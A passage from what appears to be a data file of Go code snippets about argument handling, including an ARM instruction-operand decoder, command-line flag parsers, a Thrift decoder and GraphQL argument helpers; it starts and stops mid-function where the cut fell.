Mode: AddrOffset, Offset: int16(d)}\n\n\tcase arg_label_pm_4_4:\n\t\td := int32((x>>8)&(1<<4-1)<<4 | x&(1<<4-1))\n\t\tu := (x >> 23) & 1\n\t\tif u == 0 {\n\t\t\td = -d\n\t\t}\n\t\treturn PCRel(d)\n\n\tcase arg_lsb_width:\n\t\tlsb := (x >> 7) & (1<<5 - 1)\n\t\tmsb := (x >> 16) & (1<<5 - 1)\n\t\tif msb < lsb || msb >= 32 {\n\t\t\treturn nil\n\t\t}\n\t\treturn Imm(msb + 1 - lsb)\n\n\tcase arg_mem_R:\n\t\tRn := Reg((x >> 16) & (1<<4 - 1))\n\t\treturn Mem{Base: Rn, Mode: AddrOffset}\n\n\tcase arg_mem_R_pm_R_postindex:\n\t\t// Treat [<Rn>],+/-<Rm> like [<Rn>,+/-<Rm>{,<shift>}]{!}\n\t\t// by forcing shift bits to <<0 and P=0, W=0 (postindex=true).\n\t\treturn decodeArg(arg_mem_R_pm_R_shift_imm_W, x&^((1<<7-1)<<5|1<<24|1<<21))\n\n\tcase arg_mem_R_pm_R_W:\n\t\t// Treat [<Rn>,+/-<Rm>]{!} like [<Rn>,+/-<Rm>{,<shift>}]{!}\n\t\t// by forcing shift bits to <<0.\n\t\treturn decodeArg(arg_mem_R_pm_R_shift_imm_W, x&^((1<<7-1)<<5))\n\n\tcase arg_mem_R_pm_R_shift_imm_offset:\n\t\t// Treat [<Rn>],+/-<Rm>{,<shift>} like [<Rn>,+/-<Rm>{,<shift>}]{!}\n\t\t// by forcing P=1, W=0 (index=false, wback=false).\n\t\treturn decodeArg(arg_mem_R_pm_R_shift_imm_W, x&^(1<<21)|1<<24)\n\n\tcase arg_mem_R_pm_R_shift_imm_postindex:\n\t\t// Treat [<Rn>],+/-<Rm>{,<shift>} like [<Rn>,+/-<Rm>{,<shift>}]{!}\n\t\t// by forcing P=0, W=0 (postindex=true).\n\t\treturn decodeArg(arg_mem_R_pm_R_shift_imm_W, x&^(1<<24|1<<21))\n\n\tcase arg_mem_R_pm_R_shift_imm_W:\n\t\tRn := Reg((x >> 16) & (1<<4 - 1))\n\t\tRm := Reg(x & (1<<4 - 1))\n\t\ttyp, count := decodeShift(x)\n\t\tu := (x >> 23) & 1\n\t\tw := (x >> 21) & 1\n\t\tp := (x >> 24) & 1\n\t\tif p == 0 && w == 1 {\n\t\t\treturn nil\n\t\t}\n\t\tsign := int8(+1)\n\t\tif u == 0 {\n\t\t\tsign = -1\n\t\t}\n\t\tmode := AddrMode(uint8(p<<1) | uint8(w^1))\n\t\treturn Mem{Base: Rn, Mode: mode, Sign: sign, Index: Rm, Shift: typ, Count: count}\n\n\tcase arg_mem_R_pm_imm12_offset:\n\t\t// Treat [<Rn>,#+/-<imm12>] like [<Rn>{,#+/-<imm12>}]{!}\n\t\t// by forcing P=1, W=0 (index=false, wback=false).\n\t\treturn decodeArg(arg_mem_R_pm_imm12_W, x&^(1<<21)|1<<24)\n\n\tcase arg_mem_R_pm_imm12_postindex:\n\t\t// Treat [<Rn>],#+/-<imm12> like [<Rn>{,#+/-<imm12>}]{!}\n\t\t// by forcing P=0, W=0 (postindex=true).\n\t\treturn decodeArg(arg_mem_R_pm_imm12_W, x&^(1<<24|1<<21))\n\n\tcase arg_mem_R_pm_imm12_W:\n\t\tRn := Reg((x >> 16) & (1<<4 - 1))\n\t\tu := (x >> 23) & 1\n\t\tw := (x >> 21) & 1\n\t\tp := (x >> 24) & 1\n\t\tif p == 0 && w == 1 {\n\t\t\treturn nil\n\t\t}\n\t\tsign := int8(+1)\n\t\tif u == 0 {\n\t\t\tsign = -1\n\t\t}\n\t\timm := int16(x & (1<<12 - 1))\n\t\tmode := AddrMode(uint8(p<<1) | uint8(w^1))\n\t\treturn Mem{Base: Rn, Mode: mode, Offset: int16(sign) * imm}\n\n\tcase arg_mem_R_pm_imm8_postindex:\n\t\t// Treat [<Rn>],#+/-<imm8> like [<Rn>{,#+/-<imm8>}]{!}\n\t\t// by forcing P=0, W=0 (postindex=true).\n\t\treturn decodeArg(arg_mem_R_pm_imm8_W, x&^(1<<24|1<<21))\n\n\tcase arg_mem_R_pm_imm8_W:\n\t\tRn := Reg((x >> 16) & (1<<4 - 1))\n\t\tu := (x >> 23) & 1\n\t\tw := (x >> 21) & 1\n\t\tp := (x >> 24) & 1\n\t\tif p == 0 && w == 1 {\n\t\t\treturn nil\n\t\t}\n\t\tsign := int8(+1)\n\t\tif u == 0 {\n\t\t\tsign = -1\n\t\t}\n\t\timm := int16((x>>8)&(1<<4-1)<<4 | x&(1<<4-1))\n\t\tmode := AddrMode(uint8(p<<1) | uint8(w^1))\n\t\treturn Mem{Base: Rn, Mode: mode, Offset: int16(sign) * imm}\n\n\tcase arg_mem_R_pm_imm8at0_offset:\n\t\tRn := Reg((x >> 16) & (1<<4 - 1))\n\t\tu := (x >> 23) & 1\n\t\tsign := int8(+1)\n\t\tif u == 0 {\n\t\t\tsign = -1\n\t\t}\n\t\timm := int16(x&(1<<8-1)) << 2\n\t\treturn Mem{Base: Rn, Mode: AddrOffset, Offset: int16(sign) * imm}\n\n\tcase arg_option:\n\t\treturn Imm(x & (1<<4 - 1))\n\n\tcase arg_registers:\n\t\treturn RegList(x & (1<<16 - 1))\n\n\tcase arg_registers2:\n\t\tx &= 1<<16 - 1\n\t\tn := 0\n\t\tfor i := 0; i < 16; i++ {\n\t\t\tif x>>uint(i)&1 != 0 {\n\t\t\t\tn++\n\t\t\t}\n\t\t}\n\t\tif n < 2 {\n\t\t\treturn nil\n\t\t}\n\t\treturn RegList(x)\n\n\tcase arg_registers1:\n\t\tRt := (x >> 12) & (1<<4 - 1)\n\t\treturn RegList(1 << Rt)\n\n\tcase arg_satimm4:\n\t\treturn Imm((x >> 16) & (1<<4 - 1))\n\n\tcase arg_satimm5:\n\t\treturn Imm((x >> 16) & (1<<5 - 1))\n\n\tcase arg_satimm4m1:\n\t\treturn Imm((x>>16)&(1<<4-1) + 1)\n\n\tcase arg_satimm5m1:\n\t\treturn Imm((x>>16)&(1<<5-1) + 1)\n\n\tcase arg_widthm1:\n\t\treturn Imm((x>>16)&(1<<5-1) + 1)\n\n\t}\n}", "func (r *ExecRequest) Arg(name string) (interface{}, error) {\n\treturn r.Args[name].GoValue()\n}", "func NewArgument(meta ScriptMetaData, node *node32, value Value) Argument {\n\treturn &argument{astNode: astNode{meta: meta, node: node}, value: value}\n}", "func tokenToFormulaArg(token efp.Token) formulaArg {\n\tswitch token.TSubType {\n\tcase efp.TokenSubTypeLogical:\n\t\treturn newBoolFormulaArg(strings.EqualFold(token.TValue, \"TRUE\"))\n\tcase efp.TokenSubTypeNumber:\n\t\tnum, _ := strconv.ParseFloat(token.TValue, 64)\n\t\treturn newNumberFormulaArg(num)\n\tdefault:\n\t\treturn newStringFormulaArg(token.TValue)\n\t}\n}", "func NewKeywordVarArg(starStar *Token, value Expression) *Argument {\n\targ := &Argument{\n\t\tNode: starStar.Node,\n\t\tValue: value,\n\t\tKeywordVarArg: true,\n\t}\n\n\targ.MergeFrom(value.NodeInfo())\n\treturn arg\n}", "func getIntArg(arg flags.SplitArgument, args []string) (int, bool, error) {\n\tvar rawVal string\n\tconsumeValue := false\n\trawVal, hasVal := arg.Value()\n\tif !hasVal {\n\t\tif len(args) == 0 {\n\t\t\treturn 0, false, fmt.Errorf(\"no value specified\")\n\t\t}\n\t\trawVal = args[0]\n\t\tconsumeValue = true\n\t}\n\tval, err := strconv.Atoi(rawVal)\n\tif err != nil {\n\t\treturn val, consumeValue, fmt.Errorf(\"expected an integer value but got '%v'\", rawVal)\n\t}\n\treturn val, consumeValue, nil\n}", "func UnescapeArg(param interface{}) interface{} {\n\tif str, ok := param.(string); ok {\n\t\tend := len(str) - 1\n\n\t\tswitch GetTerminal() {\n\t\tcase TermBash:\n\t\t\tif str[0] == '\\'' && str[end] == '\\'' {\n\t\t\t\treturn strings.Replace(str[1:end], \"'\\\\''\", \"'\", -1)\n\t\t\t}\n\t\tcase TermCmd, TermPowershell:\n\t\t\tif str[0] == '\\'' && str[end] == '\\'' {\n\t\t\t\treturn strings.Replace(str[1:end], \"''\", \"'\", -1)\n\t\t\t}\n\t\t}\n\t}\n\treturn param\n}", "func (p *Parser) parseProcessArg() (AstProcessArg, error) {\n if (p.Scanner.Token == scanner.String) {\n sval, err := strconv.Unquote(p.Scanner.TokenText)\n if err != nil {\n return nil, err\n }\n\n p.Scanner.Scan()\n return &AstLiteralProcessArg{StringDatum(sval)}, nil\n } else {\n return nil, p.Error(\"Unreognised process argument type\")\n }\n}", "func (spec ActionSpec) Arg(n int) string {\n\tif n >= len(spec.Args) {\n\t\treturn \"\"\n\t}\n\treturn spec.Args[n]\n}", "func parseArg(arg string) (string, string, error) {\n\tif u, ok := bookmark[arg]; ok {\n\t\treturn u.DownloadLink, arg, nil\n\t}\n\treturn \"\", \"\", fmt.Errorf(\"%s is not supported\", arg)\n}", "func unmarshalStarlarkValue(val starlark.Value, dst interface{}, path string) error {\n\treturn unmarshalStarlarkValueIntl(val, reflect.ValueOf(dst), path)\n}", "func SetArgValue(name string, fval reflect.Value, value string) error {\n\tnptyp := kit.NonPtrType(fval.Type())\n\tvk := nptyp.Kind()\n\tswitch {\n\tcase vk >= reflect.Int && vk <= reflect.Uint64 && kit.Enums.TypeRegistered(nptyp):\n\t\treturn kit.Enums.SetAnyEnumValueFromString(fval, value)\n\tcase vk == reflect.Map:\n\t\tmval := make(map[string]any)\n\t\terr := toml.ReadBytes(&mval, []byte(\"tmp=\"+value)) // use toml decoder\n\t\tif err != nil {\n\t\t\tmpi.Println(err)\n\t\t\treturn err\n\t\t}\n\t\terr = kit.CopyMapRobust(fval.Interface(), mval[\"tmp\"])\n\t\tif err != nil {\n\t\t\tmpi.Println(err)\n\t\t\terr = fmt.Errorf(\"econfig.ParseArgs: not able to set map field from arg: %s val: %s\", name, value)\n\t\t\tmpi.Println(err)\n\t\t\treturn err\n\t\t}\n\tcase vk == reflect.Slice:\n\t\tmval := make(map[string]any)\n\t\terr := toml.ReadBytes(&mval, []byte(\"tmp=\"+value)) // use toml decoder\n\t\tif err != nil {\n\t\t\tmpi.Println(err)\n\t\t\treturn err\n\t\t}\n\t\terr = kit.CopySliceRobust(fval.Interface(), mval[\"tmp\"])\n\t\tif err != nil {\n\t\t\tmpi.Println(err)\n\t\t\terr = fmt.Errorf(\"econfig.ParseArgs: not able to set slice field from arg: %s val: %s\", name, value)\n\t\t\tmpi.Println(err)\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\tok := kit.SetRobust(fval.Interface(), value) // overkill but whatever\n\t\tif !ok {\n\t\t\terr := fmt.Errorf(\"econfig.ParseArgs: not able to set field from arg: %s val: %s\", name, value)\n\t\t\tmpi.Println(err)\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (c *context) ArgString(name string) string {\n\treturn c.ParamString(name)\n}", "func (v *Argument) Decode(sr stream.Reader) error {\n\n\tnameIsSet := false\n\ttypeIsSet := false\n\n\tif err := sr.ReadStructBegin(); err != nil {\n\t\treturn err\n\t}\n\n\tfh, ok, err := sr.ReadFieldBegin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor ok {\n\t\tswitch {\n\t\tcase fh.ID == 1 && fh.Type == wire.TBinary:\n\t\t\tv.Name, err = sr.ReadString()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tnameIsSet = true\n\t\tcase fh.ID == 2 && fh.Type == wire.TStruct:\n\t\t\tv.Type, err = _Type_Decode(sr)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ttypeIsSet = true\n\t\tcase fh.ID == 3 && fh.Type == wire.TMap:\n\t\t\tv.Annotations, err = _Map_String_String_Decode(sr)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\tdefault:\n\t\t\tif err := sr.Skip(fh.Type); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif err := sr.ReadFieldEnd(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif fh, ok, err = sr.ReadFieldBegin(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := sr.ReadStructEnd(); err != nil {\n\t\treturn err\n\t}\n\n\tif !nameIsSet {\n\t\treturn errors.New(\"field Name of Argument is required\")\n\t}\n\n\tif !typeIsSet {\n\t\treturn errors.New(\"field Type of Argument is required\")\n\t}\n\n\treturn nil\n}", "func genArgument(arg *ast.InputValueDefinition) *jen.Statement {\n\t//\n\t// Generate config for argument\n\t//\n\t// == Example input SDL\n\t//\n\t// type Dog {\n\t// name(\n\t// \"style is stylish\"\n\t// style: NameComponentsStyle = SHORT,\n\t// ): String!\n\t// }\n\t//\n\t// == Example output\n\t//\n\t// &ArgumentConfig{\n\t// Type: graphql.NonNull(graphql.String),\n\t// DefaultValue: \"SHORT\", // TODO: ???\n\t// Description: \"style is stylish\",\n\t// }\n\t//\n\treturn jen.Op(\"&\").Qual(defsPkg, \"ArgumentConfig\").Values(jen.Dict{\n\t\tjen.Id(\"DefaultValue\"): genValue(arg.DefaultValue),\n\t\tjen.Id(\"Description\"): genDescription(arg),\n\t\tjen.Id(\"Type\"): genInputTypeReference(arg.Type),\n\t})\n}", "func (c *Context) GetArg(name string) *Arg {\n\tif value, ok := c.args[name]; ok {\n\t\treturn &Arg{\n\t\t\tvalue: value,\n\t\t}\n\t}\n\treturn &Arg{}\n}", "func (n *Attribute) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func IntArg(register Register, name string, options ...ArgOptionApplyer) *int {\n\tp := new(int)\n\t_ = IntArgVar(register, p, name, options...)\n\treturn p\n}", "func (a argField) Parse(i uint32) Arg {\n\tswitch a.Type {\n\tdefault:\n\t\treturn nil\n\tcase TypeUnknown:\n\t\treturn nil\n\tcase TypeReg:\n\t\treturn R0 + Reg(a.BitFields.Parse(i))\n\tcase TypeCondRegBit:\n\t\treturn Cond0LT + CondReg(a.BitFields.Parse(i))\n\tcase TypeCondRegField:\n\t\treturn CR0 + CondReg(a.BitFields.Parse(i))\n\tcase TypeFPReg:\n\t\treturn F0 + Reg(a.BitFields.Parse(i))\n\tcase TypeVecReg:\n\t\treturn V0 + Reg(a.BitFields.Parse(i))\n\tcase TypeVecSReg:\n\t\treturn VS0 + Reg(a.BitFields.Parse(i))\n\tcase TypeSpReg:\n\t\treturn SpReg(a.BitFields.Parse(i))\n\tcase TypeImmSigned:\n\t\treturn Imm(a.BitFields.ParseSigned(i) << a.Shift)\n\tcase TypeImmUnsigned:\n\t\treturn Imm(a.BitFields.Parse(i) << a.Shift)\n\tcase TypePCRel:\n\t\treturn PCRel(a.BitFields.ParseSigned(i) << a.Shift)\n\tcase TypeLabel:\n\t\treturn Label(a.BitFields.ParseSigned(i) << a.Shift)\n\tcase TypeOffset:\n\t\treturn Offset(a.BitFields.ParseSigned(i) << a.Shift)\n\t}\n}", "func CommandToCmdReporterFlagArgument(cmd []string, args []string) (string, error) {\n\tr := &commandRepresentation{Cmd: cmd, Args: args}\n\tb, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to marshal command+args into an argument string. %+v\", err)\n\t}\n\treturn string(b), nil\n}", "func getArgValue(arg interface{}, searchArg string, delim string) string {\n\tlogrus.Tracef(\"getArgValue (searchArg: %s, delim: %s) type of %v is %T\", searchArg, delim, arg, arg)\n\tswitch arg := arg.(type) {\n\tcase []interface{}:\n\t\tlogrus.Tracef(\"getArgValue (searchArg: %s, delim: %s) encountered interface slice %v\", searchArg, delim, arg)\n\t\treturn getArgValue(convertInterfaceSliceToStringSlice(arg), searchArg, delim)\n\tcase []string:\n\t\tlogrus.Tracef(\"getArgValue (searchArg: %s, delim: %s) found string array: %v\", searchArg, delim, arg)\n\t\tfor _, v := range arg {\n\t\t\targKey, argVal := splitArgKeyVal(v, delim)\n\t\t\tif argKey == searchArg {\n\t\t\t\treturn argVal\n\t\t\t}\n\t\t}\n\tcase string:\n\t\tlogrus.Tracef(\"getArgValue (searchArg: %s, delim: %s) found string: %v\", searchArg, delim, arg)\n\t\targKey, argVal := splitArgKeyVal(arg, delim)\n\t\tif argKey == searchArg {\n\t\t\treturn argVal\n\t\t}\n\t}\n\tlogrus.Tracef(\"getArgValue (searchArg: %s, delim: %s) did not find searchArg in: %v\", searchArg, delim, arg)\n\treturn \"\"\n}", "func formulaArgToToken(arg formulaArg) efp.Token {\n\tswitch arg.Type {\n\tcase ArgNumber:\n\t\tif arg.Boolean {\n\t\t\treturn efp.Token{TValue: arg.Value(), TType: efp.TokenTypeOperand, TSubType: efp.TokenSubTypeLogical}\n\t\t}\n\t\treturn efp.Token{TValue: arg.Value(), TType: efp.TokenTypeOperand, TSubType: efp.TokenSubTypeNumber}\n\tdefault:\n\t\treturn efp.Token{TValue: arg.Value(), TType: efp.TokenTypeOperand, TSubType: efp.TokenSubTypeText}\n\t}\n}", "func GetDirectiveArg(node ast.Node, dirName, argName string) ast.Value {\n\tdir := GetDirective(node, dirName)\n\tif dir == nil {\n\t\treturn nil\n\t}\n\n\tfor _, arg := range dir.Arguments {\n\t\tif arg.Name.Value == argName {\n\t\t\treturn arg.Value\n\t\t}\n\t}\n\n\treturn nil\n}", "func CmdReporterFlagArgumentToCommand(flagArg string) (cmd []string, args []string, err error) {\n\tb := []byte(flagArg)\n\tr := &commandRepresentation{}\n\tif err := json.Unmarshal(b, r); err != nil {\n\t\treturn []string{}, []string{}, fmt.Errorf(\"failed to unmarshal command from argument. %+v\", err)\n\t}\n\treturn r.Cmd, r.Args, nil\n}", "func getStringArg(arg flags.SplitArgument, args []string) (string, bool, error) {\n\tvalue, hasVal := arg.Value()\n\tif hasVal {\n\t\treturn value, false, nil\n\t}\n\tif len(args) == 0 {\n\t\treturn \"\", false, fmt.Errorf(\"no value specified\")\n\t}\n\treturn args[0], true, nil\n}", "func StringArg(register Register, name string, options ...ArgOptionApplyer) *string {\n\tp := new(string)\n\t_ = StringArgVar(register, p, name, options...)\n\treturn p\n}", "func (n *MethodCallExpr) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func BindArg(obj interface{}, tags ...string) FieldConfigArgument {\n\tv := reflect.Indirect(reflect.ValueOf(obj))\n\tvar config = make(FieldConfigArgument)\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tfield := v.Type().Field(i)\n\n\t\tmytag := extractTag(field.Tag)\n\t\tif inArray(tags, mytag) {\n\t\t\tconfig[mytag] = &ArgumentConfig{\n\t\t\t\tType: getGraphType(field.Type),\n\t\t\t}\n\t\t}\n\t}\n\treturn config\n}", "func (n *NewExpr) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func RequireArg(k string, trailingArgs ...interface{}) (interface{}, error) {\n\tif len(trailingArgs) != 1 && len(trailingArgs) != 2 {\n\t\treturn nil, NewArgCheckError(`Invalid format. requireArg parameterName [\"typeName\"]`)\n\t}\n\tv := trailingArgs[len(trailingArgs)-1]\n\n\tif v, ok := v.(Pack); ok { // check whether last arg is Pack\n\t\tif _, ok := v.Args[k]; !ok { // check whether Pack contains arguments with name K\n\t\t\treturn nil, NewArgCheckError(fmt.Sprintf(\"Required argument not found. Expected: %s, actual args: %v\",\n\t\t\t\tk,\n\t\t\t\tv.Args))\n\t\t}\n\t\tif len(trailingArgs) == 2 { // check type\n\t\t\tif expectedTypeName, ok := trailingArgs[0].(string); ok {\n\t\t\t\tif reflect.TypeOf(v.Args[k]).Name() != expectedTypeName {\n\t\t\t\t\treturn nil, NewArgCheckError(fmt.Sprintf(\"Unmatched type: Expected: %s, actual: %s\",\n\t\t\t\t\t\texpectedTypeName,\n\t\t\t\t\t\treflect.TypeOf(v.Args[k]).Name()))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn nil, NewArgCheckError(fmt.Sprintf(\"The second argument of requireArg must be string! %v found\",\n\t\t\t\t\ttrailingArgs[0]))\n\t\t\t}\n\t\t}\n\t\treturn trailingArgs[len(trailingArgs)-1], nil\n\t}\n\treturn nil, NewArgCheckError(\"requireArg didn't receive argument modified by withArg\")\n}", "func splitArg(line string) (arg string, rest string) {\n\tparts := strings.SplitN(line, \" \", 2)\n\tif len(parts) > 0 {\n\t\targ = parts[0]\n\t}\n\tif len(parts) > 1 {\n\t\trest = parts[1]\n\t}\n\treturn\n}", "func (p *ParseContext) GetArgValue(a clier.ArgClauser) (interface{}, bool) {\n\tkarg := a.(KArgClause).GetArg()\n\targClause := a.(*ArgClause)\n\tfor _, element := range p.context.Elements {\n\t\tif a, ok := element.Clause.(*kingpin.ArgClause); ok && a == karg {\n\t\t\treturn *element.Value, true\n\t\t}\n\t}\n\tif karg.HasEnvarValue() {\n\t\treturn karg.GetEnvarValue(), true\n\t}\n\tif argClause.hasDefaults() {\n\t\treturn argClause.getDefaults(), true\n\t}\n\treturn nil, false\n}", "func buildArg(mt *methodType, d json.RawMessage) (reflect.Value, error) {\n\tvar argv reflect.Value\n\targIsValue := false // if true, need to indirect before calling.\n\tif mt.ArgType.Kind() == reflect.Ptr {\n\t\targv = reflect.New(mt.ArgType.Elem())\n\t} else {\n\t\targv = reflect.New(mt.ArgType)\n\t\targIsValue = true\n\t}\n\terr := json.Unmarshal(d, argv.Interface())\n\tif err != nil {\n\t\treturn reflect.Value{}, err\n\t}\n\tif argIsValue {\n\t\targv = argv.Elem()\n\t}\n\treturn argv, nil\n}", "func (b *Executable) Arg(arg string) *Executable {\n\tb.Args = append(b.Args, arg)\n\treturn b\n}", "func (n *AnonClassExpr) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func (n *FunctionCallExpr) Arg(i int) *Argument { return n.Args[i].(*Argument) }", "func Arg(i int) string {\n\treturn CommandLine.Arg(i)\n}", "func ParseLabelsArg(labelArg string) map[string]string {\n\tlabels := map[string]string{}\n\tif labelArg == \"\" {\n\t\treturn labels\n\t}\n\n\tif strings.Contains(labelArg, \",\") {\n\t\tpairs := strings.Split(labelArg, \",\")\n\t\tfor _, pair := range pairs {\n\t\t\tparts := strings.Split(pair, \"=\")\n\t\t\tif len(parts) == 2 {\n\t\t\t\tlabels[parts[0]] = parts[1]\n\t\t\t}\n\t\t}\n\t} else {\n\t\tparts := strings.Split(labelArg, \"=\")\n\t\tlabels[parts[0]] = parts[1]\n\t}\n\n\treturn labels\n}", "func (a *Arg) parse() {\n\tif len(a.Text) == 0 {\n\t\treturn\n\t}\n\n\t// A pure value, no flag.\n\tif a.Text[0] != '-' {\n\t\ta.Value = a.Text\n\t\ta.HasValue = true\n\t\treturn\n\t}\n\n\t// Seprate the dashes from the flag name.\n\tdahsI := 1\n\tif len(a.Text) > 1 && a.Text[1] == '-' {\n\t\tdahsI = 2\n\t}\n\ta.Dashes = a.Text[:dahsI]\n\ta.HasFlag = true\n\ta.Flag = a.Text[dahsI:]\n\n\t// Empty flag\n\tif a.Flag == \"\" {\n\t\treturn\n\t}\n\t// Third dash or empty flag with equal is forbidden.\n\tif a.Flag[0] == '-' || a.Flag[0] == '=' {\n\t\ta.Parsed = Parsed{}\n\t\treturn\n\t}\n\t// The flag is valid.\n\n\t// Check if flag has a value.\n\tif equal := strings.IndexRune(a.Flag, '='); equal != -1 {\n\t\ta.Flag, a.Value = a.Flag[:equal], a.Flag[equal+1:]\n\t\ta.HasValue = true\n\t\treturn\n\t}\n\n}", "func ParseCLIArgument(raw string) (Overlay, hcl.Diagnostics) {\n\tvar diags hcl.Diagnostics\n\teq := strings.IndexByte(raw, '=')\n\tif eq < 1 { // if the equals is missing or if it's at the start of the string\n\t\tdiags = diags.Append(&hcl.Diagnostic{\n\t\t\tSeverity: hcl.DiagError,\n\t\t\tSummary: \"Invalid argument\",\n\t\t\tDetail: fmt.Sprintf(\"Invalid argument %q: must be a configuration setting, followed by an equals sign, and then a value for that setting.\", raw),\n\t\t})\n\t\treturn nil, diags\n\t}\n\tpath, val := raw[:eq], raw[eq+1:]\n\n\tsteps := strings.Split(path, \".\")\n\tfor _, step := range steps {\n\t\tif !hclsyntax.ValidIdentifier(step) {\n\t\t\tdiags = diags.Append(&hcl.Diagnostic{\n\t\t\t\tSeverity: hcl.DiagError,\n\t\t\t\tSummary: \"Invalid argument\",\n\t\t\t\tDetail: fmt.Sprintf(\"Invalid component %q in argument %q: dot-separated parts must be a letter followed by zero or more letters, digits, or underscores.\", step, path),\n\t\t\t})\n\t\t}\n\t}\n\tif diags.HasErrors() {\n\t\treturn nil, diags\n\t}\n\n\treturn &cliArgOverlay{\n\t\tfullPath: path,\n\t\tsteps: steps,\n\t\tval: val,\n\t}, nil\n}", "func parseArg(arg string) (string, string, error) {\n\tvar URL, filename string\n\tif u, ok := bookmark[arg]; ok {\n\t\treturn u.DownloadLink, arg, nil\n\t}\n\n\tvar err error\n\tfilename, err = name(arg)\n\tURL = arg\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"%v is not a valid URL: %v\", URL, err)\n\t}\n\n\treturn URL, filename, nil\n}", "func checkArgValue(v string, found bool, def cmdkit.Argument) error {\n\tif def.Variadic && def.SupportsStdin {\n\t\treturn nil\n\t}\n\n\tif !found && def.Required {\n\t\treturn fmt.Errorf(\"argument %q is required\", def.Name)\n\t}\n\n\treturn nil\n}", "func Arg(i int) string {\n\ti += flags.first_arg;\n\tif i < 0 || i >= len(os.Args) {\n\t\treturn \"\"\n\t}\n\treturn os.Args[i];\n}", "func (r *reqResReader) readArg(arg Input, last bool,\n\tinState reqResReaderState, outState reqResReaderState) error {\n\tif r.state != inState {\n\t\treturn r.failed(errReqResReaderStateMismatch)\n\t}\n\n\tif err := r.contents.ReadArgument(arg, last); err != nil {\n\t\treturn r.failed(err)\n\t}\n\n\tr.state = outState\n\treturn nil\n}", "func (p *Parser) buildArg(argDef Value, argType reflect.Type, index int, args *[]reflect.Value) error {\n\tswitch argType.Name() {\n\tcase \"Setter\":\n\t\tfallthrough\n\tcase \"GetSetter\":\n\t\targ, err := p.pathParser(argDef.Path)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v %w\", index, err)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(arg))\n\tcase \"Getter\":\n\t\targ, err := p.newGetter(argDef)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v %w\", index, err)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(arg))\n\tcase \"Enum\":\n\t\targ, err := p.enumParser(argDef.Enum)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v must be an Enum\", index)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(*arg))\n\tcase \"string\":\n\t\tif argDef.String == nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v, must be an string\", index)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(*argDef.String))\n\tcase \"float64\":\n\t\tif argDef.Float == nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v, must be an float\", index)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(*argDef.Float))\n\tcase \"int64\":\n\t\tif argDef.Int == nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v, must be an int\", index)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(*argDef.Int))\n\tcase \"bool\":\n\t\tif argDef.Bool == nil {\n\t\t\treturn fmt.Errorf(\"invalid argument at position %v, must be a bool\", index)\n\t\t}\n\t\t*args = append(*args, reflect.ValueOf(bool(*argDef.Bool)))\n\t}\n\treturn nil\n}", "func LoadArgs(argConfs []snlapi.Arg, cliArgs []string) (map[string]*string, error) {\n\targRes := map[string]*string{}\n\n\tam := map[string]snlapi.Arg{}\n\tposSl := []snlapi.Arg{}\n\tfor _, ac := range argConfs {\n\t\tif ac.Type == \"\" || ac.Type == \"bool\" || ac.Type == \"named\" {\n\t\t\tam[ac.Name] = ac\n\t\t\tcontinue\n\t\t}\n\t\tif ac.Type == \"pos\" {\n\t\t\tposSl = append(posSl, ac)\n\t\t\tcontinue\n\t\t}\n\t\t//TODO: Validation\n\t\treturn nil, fmt.Errorf(\"unknown argument type: name: '%s', type: '%s' should be one of: pos, bool, named\", ac.Name, ac.Type)\n\t}\n\n\tprevHandled := false\n\tpassedPosArg := 0\n\tfor i, cliArg := range cliArgs {\n\t\tif prevHandled {\n\t\t\tprevHandled = false\n\t\t\tcontinue\n\t\t}\n\t\t// Whitespace separated named or bool flag\n\t\tif match := argWsSeparatedRegex.MatchString(cliArg); match {\n\t\t\targName := strings.TrimLeft(cliArg, \"-\")\n\t\t\tc, exists := am[argName]\n\t\t\tif !exists {\n\t\t\t\treturn nil, fmt.Errorf(\"named argument does not exist: name '%s'\", argName)\n\t\t\t}\n\t\t\t// Bool flag\n\t\t\tif c.Type != \"\" && c.Type == \"bool\" {\n\t\t\t\ttrueVal := \"1\"\n\t\t\t\targRes[argName] = &trueVal\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif c.Type == \"\" || c.Type == \"named\" {\n\t\t\t\t// Named flag whitespace separated\n\t\t\t\tif i+1 >= len(cliArgs) {\n\t\t\t\t\treturn nil, fmt.Errorf(\"missing value after last named argument: name '%s'\", cliArg)\n\t\t\t\t}\n\t\t\t\targRes[argName] = &cliArgs[i+1]\n\t\t\t\tprevHandled = true\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\t// Equal sign separated named argument\n\t\tif match := argEqSeparatedRegex.MatchString(cliArg); match {\n\t\t\ttmpS := strings.TrimLeft(cliArg, \"-\")\n\t\t\tspl := strings.SplitN(tmpS, \"=\", 2)\n\t\t\targName, argValue := spl[0], spl[1]\n\t\t\tc, exists := 